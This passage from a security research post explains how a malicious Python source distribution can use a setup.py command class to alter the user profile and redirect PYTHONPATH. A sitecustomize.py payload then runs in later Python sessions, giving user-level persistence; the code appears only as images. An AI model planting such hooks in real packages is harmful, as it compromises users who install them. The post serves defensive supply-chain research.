-webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="500379426" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{181}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW248921614 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="1237581158" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{188}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>As previously described, Python looks up the <code>sys.path</code> variable in order to determine which directories to use for importing modules. The value of the <code>sys.path</code> is generated through site module of Python. It collects user and site folders, and combines them together with &#x201C;.pth&#x201D; files and the value of the <code>PYTHONPATH</code> environment variable. If the adversary is able to control the value of <code>PYTHONPATH</code> environment variable, they can point it to anywhere they would like and manipulate imported packages. Every Python invocation of corresponding users would be infected, achieving a user level persistence on the targeted Python environment. This technique is suitable only through source distributions that are leverage &#x201C;setup.py&#x201D; based builds. Although its abuse is well-known by the community, vulnerabilities arising from the misuse of the <code>PYTHONPATH</code> variable were also previously <a href="https://www.qualys.com/2024/11/19/needrestart/needrestart.txt" rel="noreferrer noopener"><u>reported.</u></a>&#xA0;</p><p>If used in conjunction with Python site hooks, the malicious payload within &#x201C;sitecustomize.py&#x201D; can be invoked without requiring it to be placed under the packages directory. We can extend module search towards the malicious package folder to achieve code execution. In Figure 5, the &#x201C;setup.py&#x201D; file leverages <code>distutils</code> command classes and alters the user profile to manipulate the value of <code>PYTHONPATH</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-12-figure-5.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1234" height="1980" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-12-figure-5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-12-figure-5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-12-figure-5.png 1234w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 5. &#x201C;setup.py&#x201D; manipulating </span><code spellcheck="false" style="white-space: pre-wrap;"><span>PYTHONPATH</span></code><span style="white-space: pre-wrap;"> environment variable.&#xA0;</span></figcaption></figure><p>Once the user profile is altered, future Python invocations from new shell sessions will lead to infected executions. User profile updates will impact the current shell session, since its preferences are already imported ahead of its creation.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-13.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="418" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-13.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-13.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-13.png 1430w" sizes="(min-width: 720px) 720px"></figure><h2 id="package-content-abuses">Package content abuses&#xA0;</h2><h3 id="import-time-loading-of-malicious-payload">Import time loading of malicious payload&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW202814000 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW202814000 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW202814000 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 123px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="753855993" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{153}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW202814000 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 499px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="1697397747" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{160}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW202814000 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW202814000 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 123px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="1845753410" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{168}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW202814000 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 499px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="688601162" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{175}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Package Content Abuse</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW202814000 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW202814000 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 123px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="1234026315" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{183}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW202814000 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 499px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="1576043935" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{190}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Conditional (fires when victim imports from the package)</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW202814000 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW202814000 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 123px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="2089572686" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{198}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW202814000 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 499px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="793447765" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{205}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py, </span><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">pyproject.toml</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW202814000 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW202814000 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 123px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="2070326457" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{213}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW202814000 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 499px;"><div class="TableCellContent SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW202814000 BCX4" paraid="754787910" paraeid="{9babb7f4-2a63-49a3-9417-948ca5c02f00}{220}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span><span class="NormalTextRun 